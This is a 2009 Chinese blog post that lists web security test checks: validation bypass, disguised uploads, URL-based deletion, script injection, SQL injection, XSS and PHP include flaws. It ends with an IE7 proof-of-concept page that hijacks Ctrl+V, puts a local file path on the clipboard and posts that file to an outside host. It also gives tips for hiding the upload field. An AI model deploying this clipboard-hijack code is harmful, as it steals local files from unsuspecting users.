安全性测试小总结

CJxixi

浏览: 106717 次
性别:
来自: 上海

最近访客更多访客>>

magic6666

tanting12

mwsssxu1

WZ1326

博主相关

博客

微博

相册

留言

关于我

文章分类

社区版块

存档分类

博客分类：

测试知识

JavaScript PHP SQL HTML 工作

1. 客户端/服务器短对数据有效性是否都进行了验证:

可以使用TamperIE这个小工具，来截取用户提交的数据，修改提交的数据，绕过客户端检测直接提交给服务器，来查看服务器端是否检测了数据的有效性。

2.客户端上传安全测试，比如只能上传图片格式的文件（jpg、png、gif），测试是否可以使用冒牌的图片进行上传:

如在新建一个txt文件，将其扩展名修改成jpg，进行上传，查看是否上传成功。

3.直接通过URl操作非法数据，如删除功能，可以通过click删除，也可以直接使用url直接删除，测试是否可用使用url删除非法数据

4.测试页面中js代码是否被执行，如：在文本框或其他的地方，输入js代码，测试是否能被执行。

5.sql注入

6.xss攻击，解决办法：可以让服务器生成一个动态值给客户端。

7.php特有的一个安全问题include("$test".xx.php),可以让外部非法程序获得可执行程序

8.Javascript Paste Keyboard Shortcuts Hijack 这样的攻击手段也算是极其无耻猥琐之极! 所以防御措施一定要做好首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!那到底是什么回事呢? OK 我慢慢来说首先我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!现在又一个问题是, input 为file的时候 value的值不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?没错~ 那么就等待用户进行快捷键粘贴的时候哈哈~~说说步骤

1. 判断是否进行 ctrl + v

2. 替换粘贴板

3. 光标切换到文件上传

4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )

IE7 下的 POC :

<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>

<body   onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>

</BODY>
</HTML>

分享到：

发现IPS支付有个BUG | 《JS语法字典》

2009-11-18 16:05
浏览 1409
评论(0)
查看更多

发表评论

您还没有登录,请您登录后再发表评论

最近访客更多访客>>

博主相关

文章分类

社区版块

存档分类

最新评论